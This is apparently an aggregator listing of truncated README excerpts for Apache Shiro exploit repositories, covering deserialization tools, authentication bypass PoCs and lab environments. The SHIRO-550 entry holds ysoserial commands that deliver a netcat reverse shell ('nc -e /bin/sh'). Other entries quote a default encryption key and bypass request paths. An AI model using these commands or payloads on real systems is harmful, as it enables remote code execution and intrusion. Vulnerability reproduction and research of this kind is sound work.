Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

CVE-2016-4437

shiro-1.2.4 Vulnerability Tool Decrypt rememberMe value and export corresponding class file Usage xk-mt-rememberMe解码.py Instructions: After running, first enter the key or press Enter to use the default key 'kPH+bIxk5D2deZiIxcaaaA==', then enter the rememberMe value from the request packet. After...

WebLogic-Shiro-shell

Java Deserialization Technology Sharing This sharing covers the following points: 1. Java Serialization and Deserialization Basics 2. Why do vulnerabilities occur during deserialization? 3. Java Reflection 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader: Several methods...

CVE-2024-4956

CVE-2024-4956 This repository contains a Python utility for automating the exploitation of CVE-2024-4956 and is capable of mass testing file paths from an input file while automating the process of saving existing file path contents to disk for analysis. Details for the vulnerability can be found...

ShiroScan

ShiroScan Herramienta de detección con un clic para la deserialización de Shiro=1.2.4 root@kitploit: Cambios: 1. Se agregaron 4 módulos de cadenas de explotación CommonsCollections7-10, se espera que la tasa de éxito aumente un 30%; ya está empaquetado en el nuevo jar de ysoserial, no lo reemplac...

Awesome_shiro

Awesome-shiro CVE-2016-4437 Shiro Base64 decode -- AES decrypt -- Deserialize Environment Works on both linux/win10 Works on both python2/python3 Since the module directory contains ysoserial.jar, the project is a bit large. Please bear with us. Local Target Setup...

shiro-cve-2020-17523

Apache Shiro Two Postures Authentication Bypass Analysis CVE-2020-17523 0x01 Vulnerability Description Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro's easy-to-understand API, you can...

RuoYI-4.2-Shiro-721-Docker-PoC

RuoYI 4.2 Shiro 1.4.1 Shiro-721 Vulnerability Reproduction Environment Used to reproduce the Shiro-721 vulnerability CVE-2019-12422 on RuoYI. Note: This service contains critical vulnerabilities and is intended only for vulnerability reproduction purposes. Do not use in production environments...

CVE-2020-13933

CVE-2020-13933 Lab Shiro 1.6.0 Authentication Bypass Vulnerability PoC http://127.0.0.1:8080/res/%3bpoc Lab Environment Code Description ShiroConfig.java: Permission configuration: when requesting /res/ resources, it returns a 302 redirect to the login page for authentication. NameController.java...

apache__shiro_CVE-2023-34478_1-11-0

Apache Shiro Apache Shiro es un marco de seguridad de Java potente y fácil de usar que realiza autenticación, autorización, criptografía y gestión de sesiones. Con la API fácil de entender de Shiro, puede asegurar rápida y fácilmente cualquier aplicación, desde las aplicaciones móviles más pequeñ...

shiro-CVE-2020-11989

Este repositorio no tiene un README...

ActiveMQ-RCE-Exploit

ActiveMQ-Exploit English | Simplified Chinese CVE-2023-46604 ActiveMQ RCE 5.18.3 Exploit No outbound network exploit Supports JDK 1.8 runtime; automatically checks if target version is within the vulnerability scope Supports exploiting no-outbound targets using Shiro INI configuration to achieve...

Shiro-basic

Shiro-basic This is a simple Shiro-basic project .Just for pentest env...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 Introduction: The RememberMe cookie is encrypted using AES-128-CBC mode, which is vulnerable to padding oracle attacks. An attacker can use a valid RememberMe cookie as a prefix for a Padding Oracle Attack, and then craft a malicious...

SHIRO-550

Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

shiro-cve-2010-3863

apach shiro path traversal CVE-2010-3863 Reproducción de la vulnerabilidad Montar el entorno localmente con docker Abrir yakit para capturar paquetes payload:/./admin/ Éxito...

Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter. id: CVE-2016-4437 info: name: Apache Shiro 1.2.4 Cookie RememberME -...

CVE-2022-32532

CVE-2022-32532 개요 이 프로젝트는 이 취약점CVE-2022-32532을 악용하기 위한 조건 중 하나만을 보여주는 데모 프로젝트입니다. 실제로는 더 많은 악용 방법이 있으며, 개발자가 RegExPatternMatcher를 사용하는 한 우회 가능한 취약점이 존재할 수 있습니다. 소개 현재 구성에서는 Token 요청 헤더 검증이 필요하며, 그렇지 않으면 /permit 하위 인터페이스에 접근할 수 있는 권한이 없습니다. 이 요청은 성공할 수 있습니다. root@kitploit: GET /permit/any HTTP/1.1...

cve-2020-13933

cve-2020-13933 cve-2020-13933 Apache Shiro privilege bypass vulnerability This reproduction is very simple. First, set up the environment using IDEA + Shiro Reference: https://www.cnblogs.com/ph4nt0mer/p/13535999.html Then run, access, and capture packets...

CVE-2021-34045

Information Exploit Title：Novel-plus-install-v3.5.3-Druid Unauthorized access Exploit date：01.06.2021 Exploit Author：Al1ex@Heptagram Vendor Homepage：https://github.com/201206030/novel-plus Affect Version：novel-plus-install-v3.5.3 Description：Novell plus system carries Druid component, and the...